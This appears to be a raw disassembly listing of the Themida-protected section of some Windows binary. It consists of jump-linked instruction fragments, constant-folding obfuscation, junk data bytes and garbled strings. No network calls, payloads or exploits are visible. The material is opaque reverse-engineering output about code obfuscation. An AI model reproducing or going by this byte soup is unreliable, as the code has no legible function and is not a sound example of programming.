		dd 80CCFEE5h, 0BAE9DFC4h, 31FFFFB7h, 4EC81D8h, 89000000h
		dd 0E589242Ch, 2C8FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5593E5:				; CODE XREF: Themida_:00558AE1j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	ecx, esi
		push	dword ptr [esp]
		jmp	loc_5654A9
; ---------------------------------------------------------------------------
aLSa		db '▀$$ИAъ',0           ; DATA XREF: Themida_:00552C2Co
		align 10h


loc_559400:				; CODE XREF: Themida_:0055DFAFj
		push	ebx
		mov	ebx, esp
		jmp	loc_55D9C4
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	0E389241Ch, 4C381h
		dd 0E9560000h, 9052h, 480D22BFh, 90E78154h, 8158A74Fh
		dd 674436EFh, 14C7812Bh, 0E901670Ah, 0FFFFF582h, 4B8h
		dd 58C32900h, 0FFB22BE9h, 8E1C1FFh, 5EE9E987h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55945B:				; CODE XREF: Themida_:00556402j
		sub	al, dl
		pop	dx
		push	ebx
		mov	bh, 9Fh
		sub	bh, 0D2h
		sub	al, bh
		pop	ebx
		add	al, bl
		add	al, 0CDh
		push	ecx
		sub	esp, 4
		jmp	loc_55F0FA
; ---------------------------------------------------------------------------
		dd 1279AB9h, 22E9812Eh,	29B236CCh, 0C40CE9CBh, 0BB530000h
		dd 5CDF53EEh, 854F381h,	0E9514048h, 241Ah
; ---------------------------------------------------------------------------


loc_55949C:				; CODE XREF: Themida_:0055B5CBj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5583A5
; ---------------------------------------------------------------------------
byte_5594B7	db 66h			; DATA XREF: Themida_:00552C20o
		dd 6824048Bh, 257Ah, 0FFE680E9h, 0E9D601FFh, 0D328h, 8B66D988h
		dd 0C481241Ch, 2, 47E9C800h, 81000055h,	4C6h, 4C68300h
		dd 5C243487h, 31242C33h, 2C33242Ch, 8806E924h, 2C890000h
		dd 2DB95124h, 0E9620F3Fh, 8ABBh, 74FF5059h, 2FE90424h
		dd 5D0000DCh, 4C281h, 14870000h, 0B9515C24h, 2,	5559CD01h
		dd 42474FFh, 24048F5Dh,	0E924248Bh, 54A9h, 245BE951h, 0EA810000h
		dd 5D282472h, 0C368534Ah, 0E91C7132h, 0B48Eh, 16FA7B9h
		dd 59CB0966h, 0E906E3C1h, 0C7BDh, 42474FFh, 55241C8Bh
		dd 0FF9A75E9h, 4C483FFh, 8B241487h, 0F662424h, 6866C8BEh
		dd 89661895h, 3CE9240Ch, 5EFFFF97h, 7005E9h, 8BCA0100h
		dd 0C481240Ch, 4, 0E9241487h, 0D0FFh, 0DA88E388h, 0E9241C8Bh
		dd 0D101h
dword_5595AC	dd 582434FFh, 2F8268h, 24348900h, 0BD55E689h, 4, 4F61EE81h
					; DATA XREF: Themida_:00552A28o
		dd 0EE016391h, 4F61C681h, 2C8B6391h, 4C48124h, 83000000h
		dd 348704EEh, 43F6E924h, 0B9510000h, 0
aSuqssr		db ')ИUQИИЮ',0
		dd 20B95100h, 0F7020F0Fh, 19FAE9D1h, 78BA0000h,	0C145F907h
		dd 0DEE908E2h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55960B:				; CODE XREF: Themida_:0056784Ej
		sub	esp, 4
		mov	[esp], ebx
		push	67FE3197h
		jmp	loc_55E1AE
; ---------------------------------------------------------------------------
		db 54h
		dd 40558h, 0EC810000h, 4, 0BA241489h, 21C02B0Ch, 5ACF68h
		dd 241C8900h, 2B68E389h, 89000044h, 52E9242Ch, 890000B0h
		dd 4812424h, 424h, 0C5815D00h, 4, 4C581h, 0D1680000h, 8900006Dh
		dd 74FF242Ch, 2C8B0424h, 87BCE924h, 8ABE0000h, 81026168h
		dd 0FD4943E6h, 0E9DEF753h, 7A94h
; ---------------------------------------------------------------------------


loc_559684:				; CODE XREF: Themida_:0055BAEEj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	edi
		jmp	loc_5534F0
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 0CAEFE9D1h, 0C481FFFFh, 4, 8E23E9h
		db 0
; ---------------------------------------------------------------------------


loc_5596A5:				; CODE XREF: Themida_:0055B17Bj
		add	esp, 4
		push	50E6h
		mov	[esp], ecx
		push	esi
		mov	esi, 199D4565h
		push	eax
		mov	eax, 77C262D3h
		jmp	loc_553627
; ---------------------------------------------------------------------------
		db 54h,	5Fh, 0E9h
		dd 16AEh, 0E9240C89h, 21ACh
; ---------------------------------------------------------------------------


loc_5596D0:				; CODE XREF: Themida_:00566098j
		push	edx
		push	ebx
		jmp	loc_563A3D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 183EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5596E2:				; CODE XREF: Themida_:0055A231j
		not	edx
		and	edx, 6CF42BA8h
		add	edx, 0F75BFC7Ch
		add	ecx, edx
		jmp	loc_56385D
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 2ED8100h, 0E952891Eh, 327Ah
; ---------------------------------------------------------------------------


loc_559708:				; CODE XREF: Themida_:0055C196j
		sub	edx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ecx, 4056825h
		sub	ecx, 8F6784Dh
		add	ecx, edx
		add	ecx, 8F6784Dh
		jmp	loc_5571C4
; ---------------------------------------------------------------------------
		db 50h,	0FFh, 74h
		dd 48B0424h, 4C48324h, 5C24048Fh, 0E95DE901h, 6E9Bh, 77A7F581h
		dd 0E5811DF2h, 50264954h, 6914E581h, 0ED813A5Bh, 0A7255D1h
		dd 0CA30F581h, 2EE9C335h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559767:				; CODE XREF: Themida_:00556123j
		and	ebp, 379830A8h
		inc	ebp
		shr	ebp, 3
		add	ebp, 0FBCCF9F1h
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	esi, 6
		push	eax
		push	0ECD4A11h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5663F5
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 121986B4h, 815BDA29h, 6362B5E9h, 1005E959h, 10E90000h
		dd 81FFFF95h, 4ECh, 241C8900h, 58B68h, 242C8900h, 2D6FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5597C9:				; CODE XREF: Themida_:0055AA0Fj
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_55A550
; ---------------------------------------------------------------------------
		db 0F6h
aSnk		db 'зИ█┼',0
		align 2


loc_5597EE:				; CODE XREF: Themida_:00557374j
		push	esp
		jmp	loc_5558CC
; ---------------------------------------------------------------------------


loc_5597F4:				; CODE XREF: Themida_:005538FBj
		xor	ebp, [esp]
		jmp	loc_567397
; ---------------------------------------------------------------------------
		dd 4240483h, 81241C8Bh,	4C4h, 4BA5200h,	81000000h, 0A60FECC3h
		dd 51D3015Bh, 0A60FECB9h, 0E9CB295Bh, 0FFFFC573h, 0C4DC181h
		dd 0E9297288h, 7FA7E9h,	243C8900h, 5684B951h, 4AE9284Ah
		dd 56FFFFD5h, 4BEh, 40770500h, 0F0012DAAh, 23D3E9h, 4B85000h
		dd 89000000h, 24048BC6h, 4C481h, 6A680000h, 89000013h
		dd 0D6BF243Ch, 0C112CB60h, 0F78105E7h, 498F7638h, 2321EA81h
		dd 0EA8102FCh, 7F73769Fh, 0C281FA01h, 7F73769Fh, 2321C281h
		dd 3C8B02FCh, 4C48124h,	1000000h, 26BE56F2h, 0E9023D33h
		dd 0FFFFEF8Eh, 240C3358h, 33240C31h, 248B240Ch,	4016624h
		dd 4E99C24h, 0BFFFFF94h, 4, 14B0C581h, 0FD014688h, 14B0ED81h
		dd 3C8B4688h, 4C48324h,	0D11DE950h, 8957FFFFh, 5FF989DFh
		dd 8BCB895Bh, 0C481240Ch, 4, 510DEB81h,	0C30144AEh, 510DC381h
		dd 0B9E944AEh
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_559903:				; CODE XREF: Themida_:00560BF3j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_55FCBF
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 24248B24h, 0E9240431h, 0FFFF93A3h
dword_559920	dd 5224048Bh, 0C281E289h, 4, 0BF73E9h, 48F5B00h, 1C895C24h
					; DATA XREF: Themida_:00552BC4o
		dd 73D6BB24h, 16E974C4h, 5800001Eh, 5C24048Fh, 4BB53h
		dd 0DFE90000h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559953:				; CODE XREF: Themida_:00566A01j
		add	esi, ecx
		push	eax
		mov	eax, 1DE6017Bh
		add	esi, eax
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		push	edi
		jmp	loc_557BF5
; ---------------------------------------------------------------------------
		dd 8FE345Bh, 0E95258C5h, 0AB3Ah, 3AE9EB01h, 81000042h
		dd 0D35292C7h, 92BE93Dh, 1A2D0000h, 535F128h, 6E515EEFh
		dd 0FFE8F3E9h, 0E9505EFFh, 0FFFFE9DBh
; ---------------------------------------------------------------------------


loc_55999C:				; CODE XREF: Themida_:0055A0B9j
		pop	eax
		shr	ch, 6
		jmp	loc_5624AD
; ---------------------------------------------------------------------------


loc_5599A5:				; CODE XREF: Themida_:00556C39j
		add	esi, 42B5223Ah
		not	esi
		sub	esi, 7F57AC7Fh
		add	ebx, esi
		jmp	loc_553359
; ---------------------------------------------------------------------------


loc_5599BA:				; CODE XREF: Themida_:005654EFj
		dec	esi
		jmp	loc_55FC0F
; ---------------------------------------------------------------------------
		dd 5C243C87h, 4244401h,	8324048Bh, 0F0E904C4h, 50FFFF92h
		dd 405E089h, 83000000h,	48704E8h, 34895C24h, 479BBE24h
		dd 97E97DB4h, 83000033h, 0D82804C4h, 0C5B75352h, 15E9C2B2h
		dd 81FFFFAFh, 42404h, 0E95A0000h, 0B1FFh, 0FE87D6F7h, 0FE31D7F7h
		dd 0FE31F731h, 0C101C683h, 0E68108E6h, 6DB717D1h, 0EC02C681h
		dd 64E992EDh, 68FFFFD2h, 0B3A7EBDh, 6E0C158h, 9FAF4435h
		dd 58C689CEh, 2D5EF189h, 65D22385h, 8505C801h, 8B65D223h
		dd 0C483240Ch, 24043304h, 33240431h, 248B2404h,	40478F24h
		dd 404781h, 0FF1FF717h,	34FF2434h, 24048B24h, 4C481h, 25680000h
		dd 89000070h, 0E789243Ch, 4C781h, 0C9E90000h, 810000C4h
		dd 4A12EEEEh, 301FE91Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559A9A:				; CODE XREF: Themida_:005539D5j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 3D2A5296h
		shr	eax, 7
		xor	eax, 7946361Dh
		push	598Ah
		mov	[esp], eax
		dec	dword ptr [esp]
		jmp	loc_55678E
; ---------------------------------------------------------------------------


loc_559ABE:				; CODE XREF: Themida_:00560885j
		or	edi, 3B592A2Fh
		add	edi, 25E53CE5h
		dec	edi
		shr	edi, 2
		dec	edi
		add	edi, 0D7D044FAh
		jmp	loc_55F44D
; ---------------------------------------------------------------------------
		dw 0E929h
		dd 0B35BE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559AE2:				; CODE XREF: Themida_:00554FB6j
		mov	[esp], ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55E896
; ---------------------------------------------------------------------------
aPs_0		db 'PИец',0
		db 0
; ---------------------------------------------------------------------------


loc_559B03:				; CODE XREF: Themida_:00552FC6j
		push	esi
		push	edx
		jmp	loc_56067A
; ---------------------------------------------------------------------------
		dw 5255h
		dd 8E0E9A68h, 0EDE95A7Ch
		db 52h,	2 dup(0)
byte_559B17	db 66h			; DATA XREF: Themida_:00552BE8o
		dd 9C241CF7h, 0FF91A2E9h, 66C188FFh, 17E98058h,	1B15153h
		dd 0E959CB88h, 0FFFFCEE2h
; ---------------------------------------------------------------------------


loc_559B34:				; CODE XREF: Themida_:0056210Ej
		pop	ebp
		add	eax, edx
		pop	edx
		sub	eax, 4
		jmp	loc_5642C5
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 4A023C2Dh, 0E9C20135h, 0CC46h, 2424D366h, 9169E99Ch
		dd 1489FFFFh, 0E4685624h, 5E1D7774h, 0D36DE9h, 2CE95000h
		dd 0BD00000Eh, 98F069Ah, 850DE9h
		db 0
; ---------------------------------------------------------------------------


loc_559B79:				; CODE XREF: Themida_:005581D0j
		inc	ebx
		neg	ebx
		or	ebx, 3ECD65AEh
		sub	ebx, 292A4E08h
		add	ebx, 0CBC65D79h
		add	edx, ebx
		pop	ebx
		sub	edx, ecx
		sub	edx, 616A072Fh
		mov	ecx, [esp]
		jmp	loc_558E38
; ---------------------------------------------------------------------------
byte_559BA1	db 66h,	8Bh, 4		; DATA XREF: Themida_:00552B68o
aQs_r		db '$QИ.░',0
		db 0
byte_559BAB	db 66h			; DATA XREF: Themida_:00552AF0o
		dd 0E924048Bh, 2A52h
; ---------------------------------------------------------------------------


loc_559BB4:				; CODE XREF: Themida_:005664CFj
		and	esi, 11D94617h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0E25FF3C0h
		jmp	loc_56440F
; ---------------------------------------------------------------------------
		dw 0E889h
		dd 6DBE565Dh, 81149357h, 0C65203EBh, 81F30159h,	0C65203C3h
		dd 0C3815E59h, 6F4721E8h, 0EC81C329h, 4, 0BE243489h, 55DF5AD9h
		dd 0C681DEF7h, 744935CBh, 8107E6C1h, 0A65718EEh, 5EF329C5h
		dd 576DEB81h, 34FF1493h, 24048B24h, 0A992E9h, 4AED8000h
		dd 0A6568h, 24048900h, 0B8C7E9h, 0BBE95F00h, 0FFFFFF9Fh
		dd 48B2434h, 30E95124h,	0BEFFFFA0h, 3B764708h, 742AE681h
		dd 0F68161E5h, 44385454h, 6F24E9h, 242C8900h, 0BB665366h
		dd 89661043h, 665B66DDh, 6B28E581h, 66555366h, 663F3168h
		dd 0F587665Dh, 66D6F766h, 47E9F587h, 89000008h,	7AF168E5h
		dd 34890000h, 65DA6824h, 3C890000h, 63B6BF24h, 0DFF717DCh
		dd 8105E7C1h, 0BA48C3EFh, 0A3E0E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559CA6:				; CODE XREF: Themida_:00563B3Bj
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_554C3B
; ---------------------------------------------------------------------------


loc_559CB3:				; CODE XREF: Themida_:00559F34j
		xchg	edx, ebp
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		xchg	edx, ebp
		xchg	ebp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_563666
; ---------------------------------------------------------------------------
		db 89h
		dd 0BD55241Ch, 173D7834h, 3D7830BBh, 5DEB3117h,	0FFB445E9h
		dd 1C780FFh, 0C091CF80h, 0C78008EFh, 51B45001h,	2858E728h
		dd 241C8BFEh, 4C481h, 0C6800000h, 936FE9B3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559D12:				; CODE XREF: Themida_:0055C027j
		add	esp, 4
		push	edx
		jmp	loc_56276B
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 1B945961h, 0F681DEF7h, 0B3B1EDB1h, 0FFFCDBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559D31:				; CODE XREF: Themida_:00558117j
		mov	cl, 82h
		sub	bl, 68h
		sub	bl, cl
		jmp	loc_5624BD
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0B7C380h, 4EC81F3h, 0E9000000h, 3C2Ch
; ---------------------------------------------------------------------------


loc_559D50:				; CODE XREF: Themida_:00564571j
		not	eax
		and	eax, 6D897A5Eh
		jmp	loc_56195D
; ---------------------------------------------------------------------------
		dd 0C181D9F7h, 5C05958h, 7F51E9h, 30EE8000h, 0C680CE28h
		dd 7E95930h, 830000A6h,	0F23104C4h, 8124348Bh, 4C4h, 1C570900h
		dd 0E92434FFh, 0B84Fh
dword_559D90	dd 0FF8F2EE9h, 82F281FFh, 29D37C8Dh, 0DDF75AD5h, 521BE9h
					; DATA XREF: Themida_:00552C34o
		dd 89CE8900h, 0A7F9E9F3h, 348B0000h, 4C48324h, 815FFE31h
		dd 0A1B7ABC6h, 7271E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559DC2:				; CODE XREF: Themida_:0055F698j
		mov	ecx, esi
		pop	esi
		sub	ecx, 94F6C81Fh
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		movzx	eax, al
		jmp	loc_55FB69
; ---------------------------------------------------------------------------
byte_559DE9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00552A30o
		dd 7E146824h, 14890000h, 4EC8124h, 89000000h, 0D3E92424h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559E03:				; CODE XREF: Themida_:00554CE4j
		add	esp, 4
		or	eax, eax
		jmp	loc_5551E3
; ---------------------------------------------------------------------------
		dd 0E7801AB7h, 53EF80D4h, 27AE9h, 80A0B600h, 0EE807FE6h
		dd 4EC81FCh, 89000000h,	0F388241Ch, 0D182E9h
		db 0
byte_559E35	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00552A1Co
		dd 8B2434FFh, 0C483240Ch, 4EC8104h, 89000000h, 5A542414h
		dd 4C281h, 84680000h, 89000038h, 12E9241Ch, 81000028h
		dd 350B50CFh, 0B8E94759h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559E6B:				; CODE XREF: Themida_:00560432j
		sub	ebp, 74C24170h
		inc	ebp
		jmp	loc_563865
; ---------------------------------------------------------------------------
		db 0BFh
		dd 7BC41049h, 85E9FA29h, 6600003Dh, 0DF4805Bh, 5255F480h
		dd 0D388E288h, 8324148Bh, 805804C4h, 0D1E930EBh, 87FFFFB1h
		dd 895C241Ch, 0EABF243Ch, 0E932A10Ah, 0FFFFFACBh
; ---------------------------------------------------------------------------


loc_559EB0:				; CODE XREF: Themida_:00553840j
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	edx
		push	162Dh
		mov	[esp], edi
		push	eax
		mov	eax, 137D30A7h
		mov	edi, eax
		pop	eax
		push	eax
		mov	eax, 5EB87A7Dh
		mov	edx, 4B3B49D7h
		push	4C97h
		jmp	loc_557DDA
; ---------------------------------------------------------------------------
dword_559EDC	dd 2B60F66h, 1E59E9h, 0D0F78100h, 52898FB5h, 89FD8955h
					; DATA XREF: Themida_:00552BD4o
		dd 242C8BEAh, 4C481h, 81520000h, 466A2434h, 0E95B676Eh
		dd 0B7E5h, 78C6BB53h, 3AE904B8h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559F13:				; CODE XREF: Themida_:00565BBFj
		not	edi
		push	eax
		mov	eax, 32E308A4h
		sub	esp, 4
		jmp	loc_563823
; ---------------------------------------------------------------------------


loc_559F23:				; CODE XREF: Themida_:0055AA5Cj
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	21D6h
		mov	[esp], eax
		xchg	ebp, [esp]
		jmp	loc_559CB3
; ---------------------------------------------------------------------------
		db 58h,	83h, 0C3h
		dd 74FF5304h, 8F5B0424h, 0CDE92404h, 5DFFFFCDh,	31243433h
		dd 34332434h, 24248B24h, 24042966h, 8D61E99Ch
		db 2 dup(0FFh)
word_559F62	dw 8B66h		; DATA XREF: Themida_:00552A78o
		dd 0C568240Ch, 89000042h, 0E2892414h, 6E07E9h, 4EE98100h
		dd 1ECCCEDh, 3C0559CAh,	0E90EA641h, 41BBh, 0E95AC380h
		dd 6FB4h, 5002EA81h, 0BE565B0Ch, 6E88D77Bh, 15EF229h, 2434FFD0h
		dd 5A2434FFh, 81E78957h, 4C7h, 5EBAE900h, 14040000h, 5266712Ch
		dd 0D028EFB2h, 34FF5A66h, 0E925E924h, 0C781FFFFh, 4, 4C781h
		dd 0FF570000h, 5F042474h, 5C24048Fh, 0E9241C33h, 3AB4h
		dd 0D588C288h, 24048B5Ah, 0E904C483h, 0C74Bh, 0BB53D8F7h
		dd 0B931D40h, 10A1E9h, 58C70100h, 2BFFB951h, 0C1815682h
		dd 0A97DD405h, 744C781h, 0CF011700h, 744EF81h, 1E91700h
		dd 400000C3h, 0E6D67605h, 58C221C4h, 30A2F281h,	89563F8Ah
		dd 5EF189D6h, 0FFCA295Ah, 81592434h, 4C4h, 4E2C100h, 7E67F281h
		dd 0F2816004h, 18390EB3h, 0CAAC781h, 0EF817C82h, 49CD4E68h
		dd 0C781D701h, 49CD4E68h, 0CAAEF81h, 49E97C82h,	89FFFFB8h
		dd 65B9240Ch, 81124F72h, 4ECh, 240C8900h, 6C09E9h, 51525300h
		dd 3E978B1h, 80000049h,	0CFFE8CF7h, 77C780h, 241C8BF8h
		dd 0E904C483h, 175Ch, 0B0506658h, 21EE9F6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A0B6:				; CODE XREF: Themida_:0055AF98j
		pop	ecx
		xor	ch, ah
		jmp	loc_55999C
; ---------------------------------------------------------------------------


loc_55A0BE:				; CODE XREF: Themida_:00565AF8j
		mov	esi, 0A6F5569h
		add	esi, 0F590AA9Bh
		jmp	loc_55843D
; ---------------------------------------------------------------------------


loc_55A0CE:				; CODE XREF: Themida_:00556BA7j
		sub	edx, 0B9B17835h
		sub	eax, edx
		pop	edx
		sub	ebp, 48FD32C5h
		add	ebp, eax
		push	esi
		mov	esi, 76BD58CAh
		push	0C20h
		mov	[esp], ebp
		mov	ebp, 0D987372h
		xchg	eax, ebp
		neg	eax
		jmp	loc_553E7B
; ---------------------------------------------------------------------------
aEbRrXsw	db 'E│м[rr&яЕИWп',0
		align 4


loc_55A108:				; CODE XREF: Themida_:00566CECj
		pop	esp
		jmp	loc_55FBC9
; ---------------------------------------------------------------------------


loc_55A10E:				; CODE XREF: Themida_:0056036Bj
		mov	[esp], ebx
		jmp	loc_5637A4
; ---------------------------------------------------------------------------


loc_55A116:				; CODE XREF: Themida_:00554887j
		sub	ebp, 4
		jmp	loc_55EEE0
; ---------------------------------------------------------------------------
		dw 875Eh
		dd 835C243Ch, 49E904C6h, 54000056h, 81241C8Bh, 4C4h, 4EC8300h
		dd 0BF243C89h, 4, 3C8BFB01h, 4C48324h, 0FFAC67E9h, 5EBC1FFh
		dd 0C06FE9h, 243C3300h,	0B269E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A15E:				; CODE XREF: Themida_:00565508j
		mov	eax, 198E5B29h
		mov	ebx, 2FD0F860h
		add	ebx, eax
		pop	eax
		sub	ebx, 72231CB5h
		add	ebx, 574C1302h
		jmp	loc_5606CE
; ---------------------------------------------------------------------------
		dd 0E905EBC1h, 8FC5h
; ---------------------------------------------------------------------------


loc_55A184:				; CODE XREF: Themida_:005622FAj
		add	ecx, 0B03BDFDEh
		add	esi, ecx
		jmp	loc_5544CD
; ---------------------------------------------------------------------------


loc_55A191:				; CODE XREF: Themida_:0056613Aj
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		jmp	loc_562A71
; ---------------------------------------------------------------------------


loc_55A1A2:				; CODE XREF: Themida_:005609AFj
		xor	ecx, edx
		pop	edx
		xor	ebx, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		push	20B5h
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	eax, 1C120E87h
		jmp	loc_56573F
; ---------------------------------------------------------------------------
		db 29h,	0F9h, 5Fh
		dd 4F97E981h, 0CE29691Ah, 0DFF68159h, 298F51EBh, 24348BF0h
		dd 0C5D1E9h, 4BE00h, 0F3010000h, 41BF685Eh, 1C890000h
		dd 9BD3E924h, 895C0000h, 5954240Ch, 4C181h, 0BB530000h
		dd 4, 204DE9h, 0BB535E00h, 3D21DFA3h, 295BDF29h, 0E2E95FFBh
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A22B:				; CODE XREF: Themida_:0055ADACj
		push	67516C26h
		pop	edx
		jmp	loc_5596E2
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 5CF7877h, 2414F757h,	5F2434FFh, 8104C483h, 546B10C7h
		dd 70B9E963h, 34890000h, 4654BE24h, 0BF572647h,	7FA82BB7h
		dd 120C781h, 0FE21F47Dh, 4EC835Fh, 0B8240489h, 5AB0677h
		dd 8158C629h, 7554D2CEh, 77BCE976h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A282:				; CODE XREF: Themida_:00566020j
		push	719h
		mov	[esp], edx
		mov	edx, esp
		push	esi
		mov	esi, 7B3B421Fh
		xchg	ecx, esi
		dec	ecx
		jmp	loc_558BDD
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 0EC480C92h, 4CDCC381h, 0E38108DEh, 4B0F35DFh, 0BCFDE9h
		dd 0BF575300h, 34BC7921h, 5EE9D7F7h, 81000021h,	0CEA65EF2h
		dd 81DAF71Eh, 8B61E0C2h, 0E9D60173h, 0FFFF9C27h, 5866C128h
		dd 0E9FBB450h, 1E00h
; ---------------------------------------------------------------------------


loc_55A2E0:				; CODE XREF: Themida_:00557917j
		xor	ebp, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 40759998h
		jmp	loc_553CD5
; ---------------------------------------------------------------------------
		dd 0CB89E989h, 5FEE959h, 248B0000h, 24148924h, 0C8E9E289h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A30B:				; CODE XREF: Themida_:00558398j
		push	ecx
		mov	ecx, 2E7C3BD4h
		add	ecx, 63F66F8Bh
		push	edi
		mov	edi, 0E8317E7Bh
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	edx, ecx
		pop	ecx
		sub	edx, 1
		push	ebp
		jmp	loc_5643FB
; ---------------------------------------------------------------------------
		dd 83515E04h, 0E3E904ECh, 0FFFFDCh, 5A2E04F0h, 0FFAEFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A349:				; CODE XREF: Themida_:0056673Ej
		pop	ecx
		push	ecx
		jmp	loc_554AE8
; ---------------------------------------------------------------------------
		dd 30240C32h, 0AFE9240Ch, 5CFFFFA7h, 57243489h,	0FF8AF7E9h
		dd 0D7F781FFh, 81062440h, 315302F7h, 91F78175h,	533E1D15h
		dd 0D85265BBh, 8ABFE960h, 40B90000h, 816F5D0Ch,	7B6C86C9h
		dd 86C98179h, 0E9695A4Fh, 0FFFFF9C4h, 8C240481h, 5832BC7Bh
		dd 649968h, 0B082E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A3AA:				; CODE XREF: Themida_:0056126Aj
		push	ecx
		jmp	loc_567478
; ---------------------------------------------------------------------------


loc_55A3B0:				; CODE XREF: Themida_:0055C9F0j
		add	esp, 4
		xchg	edx, edi
		inc	edx
		push	edi
		push	edx
		pop	edi
		jmp	loc_560A51
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 0E904E983h, 14BAh, 511ABA52h, 0D0010C8Eh,	0E9F0015Ah
		dd 431Dh
; ---------------------------------------------------------------------------


loc_55A3DC:				; CODE XREF: Themida_:005673AFj
		pop	eax
		add	eax, edi
		push	1879h
		mov	[esp], edx
		mov	edx, 0
		jmp	loc_5535B6
; ---------------------------------------------------------------------------
aUZ@sUs		db 'U╫╖@S`UИ╬╩',0
		dd 2434FF00h, 4C48358h,	5C24048Fh, 240C8B66h, 0B819E951h
		dd 489FFFFh, 93CAE924h,	4890000h, 0CFBE5624h, 89055324h
		dd 3DE95EF0h, 33000042h, 4E9242Ch, 58000011h, 4BF57h, 0C5810000h
		dd 4A634246h, 0ED81FD01h, 4A634246h, 242C875Fh,	2404335Ch
		dd 33240431h, 248B2404h, 4216624h, 60E99C24h, 83FFFF88h
		dd 926802C4h, 8900007Ch, 62E92414h, 68000041h, 3DE0h, 87243489h
		dd 0C5E92434h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A483:				; CODE XREF: Themida_:0056040Bj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55F1DE
; ---------------------------------------------------------------------------
aFs0FSX		db 'fSЁб0ьf[ИбX',0
		align 4
dword_55A4A4	dd 240C8B66h, 74B268h, 240C8900h, 2434FF54h, 0E2895259h
					; DATA XREF: Themida_:00552A9Co
		dd 4C281h, 0C2830000h, 0DF4EE904h, 8166FFFFh, 665928E5h
		dd 8166D5F7h, 6653D9EDh, 0E95DEB89h, 3847h, 68240C89h
		dd 7BDEh, 6675E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A4EA:				; CODE XREF: Themida_:00557320j
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		add	ebp, 4
		jmp	loc_55358B
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 0E9000000h, 0FFFFB4FFh
; ---------------------------------------------------------------------------


loc_55A510:				; CODE XREF: Themida_:005667B9j
		push	ecx
		mov	ecx, 138670ACh
